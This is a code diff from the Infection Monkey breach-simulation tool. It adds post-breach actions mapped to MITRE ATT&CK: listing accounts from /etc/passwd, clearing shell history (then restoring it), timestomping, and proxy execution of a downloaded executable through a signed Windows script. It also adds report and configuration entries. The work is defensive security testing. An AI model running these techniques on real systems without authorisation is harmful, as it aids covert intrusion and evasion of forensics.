from infection_monkey.post_breach.account_discovery.windows_account_discovery import \
get_windows_commands_to_discover_accounts
def get_commands_to_discover_accounts():
linux_cmds = get_linux_commands_to_discover_accounts()
windows_cmds = get_windows_commands_to_discover_accounts()
return linux_cmds, windows_cmds

View File

@ -0,0 +1,7 @@
def get_linux_commands_to_discover_accounts():
return [
"echo \'Discovered the following user accounts:\'; ",
"cut -d: -f1,3 /etc/passwd | ",
"egrep ':[0-9]{4}$' | ",
"cut -d: -f1"
]

View File

@ -0,0 +1,2 @@
def get_windows_commands_to_discover_accounts():
return "powershell Get-LocalUser"

View File

@ -0,0 +1,50 @@
import subprocess
from common.data.post_breach_consts import POST_BREACH_CLEAR_CMD_HISTORY
from infection_monkey.post_breach.clear_command_history.clear_command_history import \
get_commands_to_clear_command_history
from infection_monkey.post_breach.pba import PBA
from infection_monkey.telemetry.post_breach_telem import PostBreachTelem
class ClearCommandHistory(PBA):
def __init__(self):
super().__init__(name=POST_BREACH_CLEAR_CMD_HISTORY)
def run(self):
results = [pba.run() for pba in self.clear_command_history_PBA_list()]
if results:
PostBreachTelem(self, results).send()
def clear_command_history_PBA_list(self):
return self.CommandHistoryPBAGenerator().get_clear_command_history_pbas()
class CommandHistoryPBAGenerator():
def get_clear_command_history_pbas(self):
(cmds_for_linux, command_history_files_for_linux, usernames_for_linux) =\
get_commands_to_clear_command_history()
pbas = []
for username in usernames_for_linux:
for command_history_file in command_history_files_for_linux:
linux_cmds = ' '.join(cmds_for_linux).format(command_history_file).format(username)
pbas.append(self.ClearCommandHistoryFile(linux_cmds=linux_cmds))
return pbas
class ClearCommandHistoryFile(PBA):
def __init__(self, linux_cmds):
super().__init__(name=POST_BREACH_CLEAR_CMD_HISTORY,
linux_cmd=linux_cmds)
def run(self):
if self.command:
try:
output = subprocess.check_output(self.command, # noqa: DUO116
stderr=subprocess.STDOUT,
shell=True).decode()
return output, True
except subprocess.CalledProcessError as e:
# Return error output of the command
return e.output.decode(), False

View File

@ -44,7 +44,7 @@ class CommunicateAsNewUser(PBA):
@staticmethod
def get_random_new_user_name():
return USERNAME_PREFIX + ''.join(random.choice(string.ascii_lowercase) for _ in range(5))
return USERNAME_PREFIX + ''.join(random.choice(string.ascii_lowercase) for _ in range(5)) # noqa: DUO102
@staticmethod
def get_commandline_for_http_request(url, is_windows=is_windows_os()):

View File

@ -0,0 +1,12 @@
from common.data.post_breach_consts import POST_BREACH_ACCOUNT_DISCOVERY
from infection_monkey.post_breach.account_discovery.account_discovery import \
get_commands_to_discover_accounts
from infection_monkey.post_breach.pba import PBA
class AccountDiscovery(PBA):
def __init__(self):
linux_cmds, windows_cmds = get_commands_to_discover_accounts()
super().__init__(POST_BREACH_ACCOUNT_DISCOVERY,
linux_cmd=' '.join(linux_cmds),
windows_cmd=windows_cmds)

View File

@ -4,8 +4,9 @@ from infection_monkey.telemetry.post_breach_telem import PostBreachTelem
from infection_monkey.utils.environment import is_windows_os
from infection_monkey.utils.hidden_files import (cleanup_hidden_files,
get_commands_to_hide_files,
get_commands_to_hide_folders,
get_winAPI_to_hide_files)
get_commands_to_hide_folders)
from infection_monkey.utils.windows.hidden_files import \
get_winAPI_to_hide_files
HIDDEN_FSO_CREATION_COMMANDS = [get_commands_to_hide_files,
get_commands_to_hide_folders]

View File

@ -0,0 +1,12 @@
from common.data.post_breach_consts import POST_BREACH_TIMESTOMPING
from infection_monkey.post_breach.pba import PBA
from infection_monkey.post_breach.timestomping.timestomping import \
get_timestomping_commands
class Timestomping(PBA):
def __init__(self):
linux_cmds, windows_cmds = get_timestomping_commands()
super().__init__(POST_BREACH_TIMESTOMPING,
linux_cmd=linux_cmds,
windows_cmd=windows_cmds)

View File

@ -0,0 +1,30 @@
import logging
import subprocess
from common.data.post_breach_consts import POST_BREACH_SIGNED_SCRIPT_PROXY_EXEC
from infection_monkey.post_breach.pba import PBA
from infection_monkey.post_breach.signed_script_proxy.signed_script_proxy import (
cleanup_changes, get_commands_to_proxy_execution_using_signed_script)
from infection_monkey.utils.environment import is_windows_os
LOG = logging.getLogger(__name__)
class SignedScriptProxyExecution(PBA):
def __init__(self):
windows_cmds = get_commands_to_proxy_execution_using_signed_script()
super().__init__(POST_BREACH_SIGNED_SCRIPT_PROXY_EXEC,
windows_cmd=' '.join(windows_cmds))
def run(self):
try:
original_comspec = ''
if is_windows_os():
original_comspec =\
subprocess.check_output('if defined COMSPEC echo %COMSPEC%', shell=True).decode() # noqa: DUO116
super().run()
except Exception as e:
LOG.warning(f"An exception occurred on running PBA {POST_BREACH_SIGNED_SCRIPT_PROXY_EXEC}: {str(e)}")
finally:
cleanup_changes(original_comspec)

View File

@ -0,0 +1,12 @@
from infection_monkey.post_breach.clear_command_history.linux_clear_command_history import (
get_linux_command_history_files,
get_linux_commands_to_clear_command_history, get_linux_usernames)
def get_commands_to_clear_command_history():
(linux_cmds,
linux_cmd_hist_files,
linux_usernames) = (get_linux_commands_to_clear_command_history(),
get_linux_command_history_files(),
get_linux_usernames())
return linux_cmds, linux_cmd_hist_files, linux_usernames

View File

@ -0,0 +1,55 @@
import subprocess
from infection_monkey.utils.environment import is_windows_os
def get_linux_commands_to_clear_command_history():
if is_windows_os():
return ''
TEMP_HIST_FILE = '$HOME/monkey-temp-hist-file'
return [
'3<{0} 3<&- && ', # check for existence of file
'cat {0} ' # copy contents of history file to...
f'> {TEMP_HIST_FILE} && ', # ...temporary file
'echo > {0} && ', # clear contents of file
'echo \"Successfully cleared {0}\" && ', # if successfully cleared
f'cat {TEMP_HIST_FILE} ', # restore history file back with...
'> {0} ;' # ...original contents
f'rm {TEMP_HIST_FILE} -f' # remove temp history file
]
def get_linux_command_history_files():
if is_windows_os():
return []
HOME_DIR = "/home/"
# get list of paths of different shell history files (default values) with place for username
STARTUP_FILES = [
file_path.format(HOME_DIR) for file_path in
[
"{0}{{0}}/.bash_history", # bash
"{0}{{0}}/.local/share/fish/fish_history", # fish
"{0}{{0}}/.zsh_history", # zsh
"{0}{{0}}/.sh_history", # ksh
"{0}{{0}}/.history" # csh, tcsh
]
]
return STARTUP_FILES
def get_linux_usernames():
if is_windows_os():
return []
# get list of usernames
USERS = subprocess.check_output( # noqa: DUO116
"cut -d: -f1,3 /etc/passwd | egrep ':[0-9]{4}$' | cut -d: -f1",
shell=True
).decode().split('\n')[:-1]
return USERS

View File

@ -1,5 +1,5 @@
SCHEDULED_TASK_NAME = 'monkey-spawn-cmd'
SCHEDULED_TASK_COMMAND = 'C:\windows\system32\cmd.exe'
SCHEDULED_TASK_COMMAND = r'C:\windows\system32\cmd.exe'
# Commands from: https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1053.005/T1053.005.md

View File

@ -0,0 +1,18 @@
import subprocess
from infection_monkey.post_breach.signed_script_proxy.windows.signed_script_proxy import (
get_windows_commands_to_delete_temp_comspec,
get_windows_commands_to_proxy_execution_using_signed_script,
get_windows_commands_to_reset_comspec)
from infection_monkey.utils.environment import is_windows_os
def get_commands_to_proxy_execution_using_signed_script():
windows_cmds = get_windows_commands_to_proxy_execution_using_signed_script()
return windows_cmds
def cleanup_changes(original_comspec):
if is_windows_os():
subprocess.run(get_windows_commands_to_reset_comspec(original_comspec), shell=True) # noqa: DUO116
subprocess.run(get_windows_commands_to_delete_temp_comspec(), shell=True) # noqa: DUO116

View File

@ -0,0 +1,28 @@
import os
from infection_monkey.control import ControlClient
TEMP_COMSPEC = os.path.join(os.getcwd(), 'random_executable.exe')
def get_windows_commands_to_proxy_execution_using_signed_script():
download = ControlClient.get_T1216_pba_file()
with open(TEMP_COMSPEC, 'wb') as random_exe_obj:
random_exe_obj.write(download.content)
random_exe_obj.flush()
windir_path = os.environ['WINDIR']
signed_script = os.path.join(windir_path, 'System32', 'manage-bde.wsf')
return [
f'set comspec={TEMP_COMSPEC} &&',
f'cscript {signed_script}'
]
def get_windows_commands_to_reset_comspec(original_comspec):
return f'set comspec={original_comspec}'
def get_windows_commands_to_delete_temp_comspec():
return f'del {TEMP_COMSPEC} /f'

View File

@ -0,0 +1,14 @@
TEMP_FILE = 'monkey-timestomping-file.txt'
TIMESTAMP_EPOCH = '197001010000.00'
def get_linux_timestomping_commands():
return [
f'echo "Successfully changed a file\'s modification timestamp" > {TEMP_FILE} && '
f'touch -m -t {TIMESTAMP_EPOCH} {TEMP_FILE} && '
f'cat {TEMP_FILE} ; '
f'rm {TEMP_FILE} -f'
]
# Commands' source: https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1070.006/T1070.006.md

View File

@ -0,0 +1,10 @@
from infection_monkey.post_breach.timestomping.linux.timestomping import \
get_linux_timestomping_commands
from infection_monkey.post_breach.timestomping.windows.timestomping import \
get_windows_timestomping_commands
def get_timestomping_commands():
linux_cmds = get_linux_timestomping_commands()
windows_cmds = get_windows_timestomping_commands()
return linux_cmds, windows_cmds

View File

@ -0,0 +1,13 @@
$TEMP_FILE = 'monkey-timestomping-file.txt'
$TIMESTAMP_EPOCH = '01/01/1970 00:00:00'
# create temporary file
New-Item -Path $TEMP_FILE -Force | Out-Null
Set-Content $TEMP_FILE -Value "Successfully changed a file's modification timestamp" -Force | Out-Null
# attempt to change modification timestamp
Get-ChildItem $TEMP_FILE | % { $_.LastWriteTime = $TIMESTAMP_EPOCH }
Get-Content $TEMP_FILE
# remove temporary file
Remove-Item $TEMP_FILE -Force -ErrorAction Ignore

View File

@ -0,0 +1,8 @@
TEMP_FILE = 'monkey-timestomping-file.txt'
def get_windows_timestomping_commands():
return 'powershell.exe infection_monkey/post_breach/timestomping/windows/timestomping.ps1'
# Commands' source: https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1070.006/T1070.006.md

View File

@ -7,14 +7,10 @@ from infection_monkey.system_info.windows_cred_collector.mimikatz_cred_collector
MimikatzCredentialCollector
sys.coinit_flags = 0 # needed for proper destruction of the wmi python module
# noinspection PyPep8
import infection_monkey.config
# noinspection PyPep8
from common.utils.wmi_utils import WMIUtils
# noinspection PyPep8
from infection_monkey.system_info import InfoCollector
# noinspection PyPep8
from infection_monkey.system_info.wmi_consts import WMI_CLASSES
import infection_monkey.config # noqa: E402
from common.utils.wmi_utils import WMIUtils # noqa: E402
from infection_monkey.system_info import InfoCollector # noqa: E402
from infection_monkey.system_info.wmi_consts import WMI_CLASSES # noqa: E402
LOG = logging.getLogger(__name__)
LOG.info('started windows info collector')

View File

@ -1 +1,2 @@
from infection_monkey.transport.http import HTTPServer, LockedHTTPServer
from infection_monkey.transport.http import HTTPServer # noqa: F401
from infection_monkey.transport.http import LockedHTTPServer # noqa: F401

View File

@ -65,7 +65,7 @@ class TcpProxy(TransportProxyBase):
dest = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
dest.connect((self.dest_host, self.dest_port))
except socket.error as ex:
except socket.error:
source.close()
dest.close()
continue

View File

@ -5,8 +5,8 @@ from infection_monkey.utils.linux.hidden_files import (
get_linux_commands_to_delete, get_linux_commands_to_hide_files,
get_linux_commands_to_hide_folders)
from infection_monkey.utils.windows.hidden_files import (
get_winAPI_to_hide_files, get_windows_commands_to_delete,
get_windows_commands_to_hide_files, get_windows_commands_to_hide_folders)
get_windows_commands_to_delete, get_windows_commands_to_hide_files,
get_windows_commands_to_hide_folders)
def get_commands_to_hide_files():

View File

@ -51,13 +51,13 @@ def get_winAPI_to_hide_files():
fileCreation = win32file.CREATE_ALWAYS # overwrite existing file
fileFlags = win32file.FILE_ATTRIBUTE_HIDDEN # make hidden
hiddenFile = win32file.CreateFile(HIDDEN_FILE_WINAPI,
fileAccess,
0, # sharing mode: 0 => can't be shared
None, # security attributes
fileCreation,
fileFlags,
0) # template file
win32file.CreateFile(HIDDEN_FILE_WINAPI,
fileAccess,
0, # sharing mode: 0 => can't be shared
None, # security attributes
fileCreation,
fileFlags,
0) # template file
return "Succesfully created hidden file: {}".format(HIDDEN_FILE_WINAPI), True
except Exception as err:

View File

@ -6,6 +6,7 @@ from flask import Flask, Response, send_from_directory
from werkzeug.exceptions import NotFound
import monkey_island.cc.environment.environment_singleton as env_singleton
from common.data.api_url_consts import T1216_PBA_FILE_DOWNLOAD_PATH
from monkey_island.cc.consts import MONKEY_ISLAND_ABS_PATH
from monkey_island.cc.database import database, mongo
from monkey_island.cc.resources.attack.attack_config import AttackConfiguration
@ -35,6 +36,8 @@ from monkey_island.cc.resources.pba_file_upload import FileUpload
from monkey_island.cc.resources.remote_run import RemoteRun
from monkey_island.cc.resources.reporting.report import Report
from monkey_island.cc.resources.root import Root
from monkey_island.cc.resources.T1216_pba_file_download import \
T1216PBAFileDownload
from monkey_island.cc.resources.telemetry import Telemetry
from monkey_island.cc.resources.telemetry_feed import TelemetryFeed
from monkey_island.cc.resources.test.clear_caches import ClearCaches
@ -130,6 +133,7 @@ def init_api_resources(api):
api.add_resource(Log, '/api/log', '/api/log/')
api.add_resource(IslandLog, '/api/log/island/download', '/api/log/island/download/')
api.add_resource(PBAFileDownload, '/api/pba/download/<string:path>')
api.add_resource(T1216PBAFileDownload, T1216_PBA_FILE_DOWNLOAD_PATH)
api.add_resource(FileUpload, '/api/fileUpload/<string:file_type>',
'/api/fileUpload/<string:file_type>?load=<string:filename>',
'/api/fileUpload/<string:file_type>?restore=<string:filename>')

View File

@ -1,8 +1,9 @@
import base64
import os
from Crypto import Random
from Crypto.Cipher import AES
# PyCrypto is deprecated, but we use pycryptodome, which uses the exact same imports but it maintained
from Crypto import Random # noqa: DOU133
from Crypto.Cipher import AES # noqa: DOU133
from monkey_island.cc.consts import MONKEY_ISLAND_ABS_PATH

View File

@ -1,6 +1,5 @@
from common.cloud.aws.aws_instance import AwsInstance
from monkey_island.cc.environment import Environment
from monkey_island.cc.resources.auth.auth_user import User
__author__ = 'itay.mizeretz'

View File

@ -2,13 +2,17 @@ from __future__ import annotations
import json
import os
from pathlib import Path
from typing import Dict, List
import monkey_island.cc.environment.server_config_generator as server_config_generator
from monkey_island.cc.consts import MONKEY_ISLAND_ABS_PATH
from monkey_island.cc.environment.user_creds import UserCreds
from monkey_island.cc.resources.auth.auth_user import User
from monkey_island.cc.resources.auth.user_store import UserStore
SERVER_CONFIG_FILENAME = "server_config.json"
class EnvironmentConfig:
def __init__(self,
@ -43,13 +47,15 @@ class EnvironmentConfig:
@staticmethod
def get_from_file() -> EnvironmentConfig:
file_path = EnvironmentConfig.get_config_file_path()
if not Path(file_path).is_file():
server_config_generator.create_default_config_file(file_path)
with open(file_path, 'r') as f:
config_content = f.read()
return EnvironmentConfig.get_from_json(config_content)
@staticmethod
def get_config_file_path() -> str:
return os.path.join(MONKEY_ISLAND_ABS_PATH, 'cc', 'server_config.json')
return os.path.join(MONKEY_ISLAND_ABS_PATH, 'cc', SERVER_CONFIG_FILENAME)
def to_dict(self) -> Dict:
config_dict = {'server_config': self.server_config,

View File

@ -1,7 +1,5 @@
import logging
env = None
import monkey_island.cc.resources.auth.user_store as user_store
from monkey_island.cc.environment import (EnvironmentConfig, aws, password,
standard, testing)
@ -22,6 +20,8 @@ ENV_DICT = {
TESTING: testing.TestingEnvironment
}
env = None
def set_env(env_type: str, env_config: EnvironmentConfig):
global env

View File

@ -0,0 +1,7 @@
from pathlib import Path
def create_default_config_file(path):
default_config_path = f"{path}.default"
default_config = Path(default_config_path).read_text()
Path(path).write_text(default_config)

View File

@ -1,8 +1,20 @@
import argparse
import json
import logging
import sys
from pathlib import Path
def add_monkey_dir_to_sys_path():
monkey_path = Path(sys.path[0])
monkey_path = monkey_path.parents[2]
sys.path.insert(0, monkey_path.__str__())
add_monkey_dir_to_sys_path()
from monkey_island.cc.environment.environment_config import EnvironmentConfig # noqa: E402 isort:skip
SERVER_CONFIG = "server_config"
logger = logging.getLogger(__name__)
@ -12,7 +24,7 @@ logger.setLevel(logging.DEBUG)
def main():
args = parse_args()
file_path = get_config_file_path(args)
file_path = EnvironmentConfig.get_config_file_path()
# Read config
with open(file_path) as config_file:
@ -28,16 +40,9 @@ def main():
config_file.write("\n") # Have to add newline at end of file, since json.dump does not.
def get_config_file_path(args):
file_path = Path(__file__).parent.joinpath(args.file_name)
logger.info("Config file path: {}".format(file_path))
return file_path
def parse_args():
parser = argparse.ArgumentParser()
parser.add_argument("server_config", choices=["standard", "testing", "password"])
parser.add_argument("-f", "--file_name", required=False, default="server_config.json")
args = parser.parse_args()
return args

View File

@ -112,4 +112,3 @@ class TestEnvironment(TestCase):
self.assertTrue(method())
else:
self.assertFalse(method())

View File

@ -57,7 +57,7 @@ class TestEnvironmentConfig(TestCase):
def test_get_server_config_file_path(self):
if platform.system() == "Windows":
server_file_path = MONKEY_ISLAND_ABS_PATH + "\cc\server_config.json"
server_file_path = MONKEY_ISLAND_ABS_PATH + r"\cc\server_config.json"
else:
server_file_path = MONKEY_ISLAND_ABS_PATH + "/cc/server_config.json"
self.assertEqual(EnvironmentConfig.get_config_file_path(), server_file_path)

View File

@ -1,35 +1,38 @@
import logging
import os
import os.path
import sys
import time
from pathlib import Path
from threading import Thread
MINIMUM_MONGO_DB_VERSION_REQUIRED = "4.2.0"
# Add the monkey_island directory to the path, to make sure imports that don't start with "monkey_island." work.
MONKEY_ISLAND_DIR_BASE_PATH = str(Path(__file__).parent.parent)
if str(MONKEY_ISLAND_DIR_BASE_PATH) not in sys.path:
sys.path.insert(0, MONKEY_ISLAND_DIR_BASE_PATH)
BASE_PATH = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
if BASE_PATH not in sys.path:
sys.path.insert(0, BASE_PATH)
from monkey_island.cc.consts import MONKEY_ISLAND_ABS_PATH
from monkey_island.cc.island_logger import json_setup_logging
from monkey_island.cc.consts import MONKEY_ISLAND_ABS_PATH # noqa: E402
from monkey_island.cc.island_logger import json_setup_logging # noqa: E402
# This is here in order to catch EVERYTHING, some functions are being called on imports the log init needs to be on top.
json_setup_logging(default_path=os.path.join(MONKEY_ISLAND_ABS_PATH, 'cc', 'island_logger_default_config.json'),
json_setup_logging(default_path=Path(MONKEY_ISLAND_ABS_PATH, 'cc', 'island_logger_default_config.json'),
default_level=logging.DEBUG)
logger = logging.getLogger(__name__)
import monkey_island.cc.environment.environment_singleton as env_singleton
from common.version import get_version
from monkey_island.cc.app import init_app
from monkey_island.cc.bootloader_server import BootloaderHttpServer
from monkey_island.cc.database import get_db_version, is_db_server_up
from monkey_island.cc.network_utils import local_ip_addresses
from monkey_island.cc.resources.monkey_download import MonkeyDownload
import monkey_island.cc.environment.environment_singleton as env_singleton # noqa: E402
from common.version import get_version # noqa: E402
from monkey_island.cc.app import init_app # noqa: E402
from monkey_island.cc.bootloader_server import \
BootloaderHttpServer # noqa: E402
from monkey_island.cc.database import get_db_version # noqa: E402
from monkey_island.cc.database import is_db_server_up # noqa: E402
from monkey_island.cc.network_utils import local_ip_addresses # noqa: E402
from monkey_island.cc.resources.monkey_download import \
MonkeyDownload # noqa: E402
from monkey_island.cc.services.reporting.exporter_init import \
populate_exporter_list
from monkey_island.cc.setup import setup
populate_exporter_list # noqa: E402
from monkey_island.cc.setup import setup # noqa: E402
MINIMUM_MONGO_DB_VERSION_REQUIRED = "4.2.0"
def main(should_setup_only=False):
@ -54,8 +57,8 @@ def start_island_server(should_setup_only):
populate_exporter_list()
app = init_app(mongo_url)
crt_path = os.path.join(MONKEY_ISLAND_ABS_PATH, 'cc', 'server.crt')
key_path = os.path.join(MONKEY_ISLAND_ABS_PATH, 'cc', 'server.key')
crt_path = str(Path(MONKEY_ISLAND_ABS_PATH, 'cc', 'server.crt'))
key_path = str(Path(MONKEY_ISLAND_ABS_PATH, 'cc', 'server.key'))
setup()

View File

@ -143,7 +143,7 @@ class Monkey(Document):
try:
_ = Monkey.get_single_monkey_by_id(object_id)
return True
except:
except: # noqa: E722
return False
@staticmethod

View File

@ -77,7 +77,7 @@ class TestMonkey(IslandTestCase):
self.assertIsNotNone(Monkey.get_single_monkey_by_id(a_monkey.id))
# Raise on non-existent monkey
with pytest.raises(MonkeyNotFoundError) as e_info:
with pytest.raises(MonkeyNotFoundError) as _:
_ = Monkey.get_single_monkey_by_id("abcdefabcdefabcdefabcdef")
def test_get_os(self):

View File

@ -0,0 +1,17 @@
import os
import flask_restful
from flask import send_from_directory
from monkey_island.cc.consts import MONKEY_ISLAND_ABS_PATH
class T1216PBAFileDownload(flask_restful.Resource):
"""
File download endpoint used by monkey to download executable file for T1216 ("Signed Script Proxy Execution" PBA)
"""
def get(self):
executable_file_name = 'T1216_random_executable.exe'
return send_from_directory(directory=os.path.join(MONKEY_ISLAND_ABS_PATH, 'cc', 'resources', 'pba'),
filename=executable_file_name)

View File

@ -15,5 +15,5 @@ class IslandLog(flask_restful.Resource):
def get(self):
try:
return IslandLogService.get_log_file()
except Exception as e:
except Exception:
logger.error('Monkey Island logs failed to download', exc_info=True)

View File

@ -10,14 +10,16 @@ from monkey_island.cc.services.attack.technique_reports import (T1003, T1005,
T1059, T1064,
T1065, T1075,
T1082, T1086,
T1090, T1105,
T1087, T1090,
T1099, T1105,
T1106, T1107,
T1110, T1129,
T1136, T1145,
T1154, T1156,
T1158, T1166,
T1168, T1188,
T1197, T1210,
T1146, T1154,
T1156, T1158,
T1166, T1168,
T1188, T1197,
T1210, T1216,
T1222, T1504)
from monkey_island.cc.services.reporting.report_generation_synchronisation import \
safe_generate_attack_report
@ -57,7 +59,11 @@ TECHNIQUES = {'T1210': T1210.T1210,
'T1154': T1154.T1154,
'T1166': T1166.T1166,
'T1168': T1168.T1168,
'T1053': T1053.T1053
'T1053': T1053.T1053,
'T1099': T1099.T1099,
'T1216': T1216.T1216,
'T1087': T1087.T1087,
'T1146': T1146.T1146
}
REPORT_NAME = 'new_report'

View File

@ -168,6 +168,15 @@ SCHEMA = {
"description": "Adversaries may abuse BITS to download, execute, "
"and even clean up after running malicious code."
},
"T1146": {
"title": "Clear command history",
"type": "bool",
"value": False,
"necessary": False,
"link": "https://attack.mitre.org/techniques/T1146",
"description": "Adversaries may clear/disable command history of a compromised "
"account to conceal the actions undertaken during an intrusion."
},
"T1107": {
"title": "File Deletion",
"type": "bool",
@ -185,6 +194,24 @@ SCHEMA = {
"necessary": True,
"link": "https://attack.mitre.org/techniques/T1222",
"description": "Adversaries may modify file permissions/attributes to evade intended DACLs."
},
"T1099": {
"title": "Timestomping",
"type": "bool",
"value": True,
"necessary": False,
"link": "https://attack.mitre.org/techniques/T1099",
"description": "Adversaries may modify file time attributes to hide new/changes to existing "
"files to avoid attention from forensic investigators or file analysis tools."
},
"T1216": {
"title": "Signed script proxy execution",
"type": "bool",
"value": False,
"necessary": False,
"link": "https://attack.mitre.org/techniques/T1216",
"description": "Adversaries may use scripts signed with trusted certificates to "
"proxy execution of malicious files on Windows systems."
}
}
},
@ -234,6 +261,16 @@ SCHEMA = {
"type": "object",
"link": "https://attack.mitre.org/tactics/TA0007/",
"properties": {
"T1087": {
"title": "Account Discovery",
"type": "bool",
"value": True,
"necessary": False,
"link": "https://attack.mitre.org/techniques/T1087",
"description": "Adversaries may attempt to get a listing of accounts on a system or "
"within an environment. This information can help adversaries determine which "
"accounts exist to aid in follow-on behavior."
},
"T1018": {
"title": "Remote System Discovery",
"type": "bool",

View File

@ -0,0 +1,13 @@
from common.data.post_breach_consts import POST_BREACH_ACCOUNT_DISCOVERY
from monkey_island.cc.services.attack.technique_reports.pba_technique import \
PostBreachTechnique
__author__ = "shreyamalviya"
class T1087(PostBreachTechnique):
tech_id = "T1087"
unscanned_msg = "Monkey didn't try to get a listing of user accounts."
scanned_msg = "Monkey tried to get a listing of user accounts but failed to do so."
used_msg = "Monkey got a listing of user accounts successfully."
pba_names = [POST_BREACH_ACCOUNT_DISCOVERY]

View File

@ -0,0 +1,13 @@
from common.data.post_breach_consts import POST_BREACH_TIMESTOMPING
from monkey_island.cc.services.attack.technique_reports.pba_technique import \
PostBreachTechnique
__author__ = "shreyamalviya"
class T1099(PostBreachTechnique):
tech_id = "T1099"
unscanned_msg = "Monkey didn't try changing any file's time attributes."
scanned_msg = "Monkey tried changing a file's time attributes but failed."
used_msg = "Monkey successfully changed a file's time attributes."
pba_names = [POST_BREACH_TIMESTOMPING]

View File

@ -0,0 +1,22 @@
from common.data.post_breach_consts import POST_BREACH_CLEAR_CMD_HISTORY
from monkey_island.cc.services.attack.technique_reports.pba_technique import \
PostBreachTechnique
__author__ = "shreyamalviya"
class T1146(PostBreachTechnique):
tech_id = "T1146"
unscanned_msg = "Monkey didn't try clearing the command history since it didn't run on any Linux machines."
scanned_msg = "Monkey tried clearing the command history but failed."
used_msg = "Monkey successfully cleared the command history (and then restored it back)."
pba_names = [POST_BREACH_CLEAR_CMD_HISTORY]
@staticmethod
def get_pba_query(*args):
return [{'$match': {'telem_category': 'post_breach',
'data.name': POST_BREACH_CLEAR_CMD_HISTORY}},
{'$project': {'_id': 0,
'machine': {'hostname': {'$arrayElemAt': ['$data.hostname', 0]},
'ips': [{'$arrayElemAt': ['$data.ip', 0]}]},
'result': '$data.result'}}]

View File

@ -0,0 +1,21 @@
from common.data.post_breach_consts import POST_BREACH_SIGNED_SCRIPT_PROXY_EXEC
from monkey_island.cc.services.attack.technique_reports.pba_technique import \
PostBreachTechnique
__author__ = "shreyamalviya"
class T1216(PostBreachTechnique):
tech_id = "T1216"
unscanned_msg = "Monkey didn't attempt to execute an arbitrary program with the help of a " +\
"pre-existing signed script since it didn't run on any Windows machines. " +\
"If successful, this behavior could be abused by adversaries to execute malicious files that could " +\
"bypass application control and signature validation on systems."
scanned_msg = "Monkey attempted to execute an arbitrary program with the help of a " +\
"pre-existing signed script on Windows but failed. " +\
"If successful, this behavior could be abused by adversaries to execute malicious files that could " +\
"bypass application control and signature validation on systems."
used_msg = "Monkey executed an arbitrary program with the help of a pre-existing signed script on Windows. " +\
"This behavior could be abused by adversaries to execute malicious files that could " +\
"bypass application control and signature validation on systems."
pba_names = [POST_BREACH_SIGNED_SCRIPT_PROXY_EXEC]

View File

@ -217,7 +217,8 @@ class ConfigService:
@staticmethod
def set_server_ips_in_config(config):
ips = local_ip_addresses()
config["internal"]["island_server"]["command_servers"] = ["%s:%d" % (ip, env_singleton.env.get_island_port()) for ip in ips]
config["internal"]["island_server"]["command_servers"] = \
["%s:%d" % (ip, env_singleton.env.get_island_port()) for ip in ips]
config["internal"]["island_server"]["current_server"] = "%s:%d" % (ips[0], env_singleton.env.get_island_port())
@staticmethod

View File

@ -26,7 +26,8 @@ BASIC = {
"WebLogicExploiter",
"HadoopExploiter",
"VSFTPDExploiter",
"MSSQLExploiter"
"MSSQLExploiter",
"DrupalExploiter"
]
}
}

View File

@ -125,6 +125,16 @@ EXPLOITER_CLASSES = {
"info": "Exploits a malicious backdoor that was added to the VSFTPD download archive. "
"Logic based on Metasploit module.",
"link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/vsftpd/"
},
{
"type": "string",
"enum": [
"DrupalExploiter"
],
"title": "Drupal Exploiter",
"info": "Exploits a remote command execution vulnerability in a Drupal server,"
"for which certain modules (such as RESTful Web Services) are enabled.",
"link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/drupal/"
}
]
}

View File

@ -70,6 +70,43 @@ POST_BREACH_ACTIONS = {
"title": "Job scheduling",
"info": "Attempts to create a scheduled job on the system and remove it.",
"attack_techniques": ["T1168", "T1053"]
},
{
"type": "string",
"enum": [
"Timestomping"
],
"title": "Timestomping",
"info": "Creates a temporary file and attempts to modify its time attributes. Removes the file afterwards.",
"attack_techniques": ["T1099"]
},
{
"type": "string",
"enum": [
"SignedScriptProxyExecution"
],
"title": "Signed script proxy execution",
"info": "On Windows systems, attemps to execute an arbitrary file "
"with the help of a pre-existing signed script.",
"attack_techniques": ["T1216"]
},
{
"type": "string",
"enum": [
"AccountDiscovery"
],
"title": "Account Discovery",
"info": "Attempts to get a listing of user accounts on the system.",
"attack_techniques": ["T1087"]
},
{
"type": "string",
"enum": [
"ClearCommandHistory"
],
"title": "Clear command history",
"info": "Attempts to clear the command history.",
"attack_techniques": ["T1146"]
}
]
}

View File

@ -67,7 +67,9 @@ MONKEY = {
"HiddenFiles",
"TrapCommand",
"ChangeSetuidSetgid",
"ScheduleJobs"
"ScheduleJobs",
"Timestomping",
"AccountDiscovery"
]
},
}

View File

@ -1,6 +1,5 @@
from bson import ObjectId
from monkey_island.cc.models.edge import Edge
from monkey_island.cc.services.edge.displayed_edge import DisplayedEdgeService
from monkey_island.cc.services.edge.edge import RIGHT_ARROW, EdgeService
from monkey_island.cc.testing.IslandTestCase import IslandTestCase

View File

@ -1,7 +1,6 @@
from bson import ObjectId
from monkey_island.cc.models import Monkey
from monkey_island.cc.models.edge import Edge
from monkey_island.cc.services.edge.displayed_edge import DisplayedEdgeService
from monkey_island.cc.services.edge.edge import EdgeService
from monkey_island.cc.services.node import NodeService

View File

@ -3,13 +3,11 @@ from datetime import datetime, timedelta
from typing import Dict
from bson import ObjectId
from mongoengine import DoesNotExist
import monkey_island.cc.services.log
from monkey_island.cc import models
from monkey_island.cc.database import mongo
from monkey_island.cc.models import Monkey
from monkey_island.cc.models.edge import Edge
from monkey_island.cc.network_utils import is_local_ips, local_ip_addresses
from monkey_island.cc.services.edge.displayed_edge import DisplayedEdgeService
from monkey_island.cc.services.edge.edge import EdgeService

View File

@ -299,7 +299,7 @@ class AWSExporter(Exporter):
title="Machines are accessible using passwords supplied by the user during the Monkey's configuration.",
description="Change {0}'s password to a complex one-use password that is not shared with other computers on the "
"network.",
recommendation="The machine machine ({ip_address}) is vulnerable to a WMI attack. The Monkey authenticated over "
recommendation="The machine {machine} ({ip_address}) is vulnerable to a WMI attack. The Monkey authenticated over "
"the WMI protocol with user {username} and its password.".format(
machine=issue['machine'],
ip_address=issue['ip_address'],
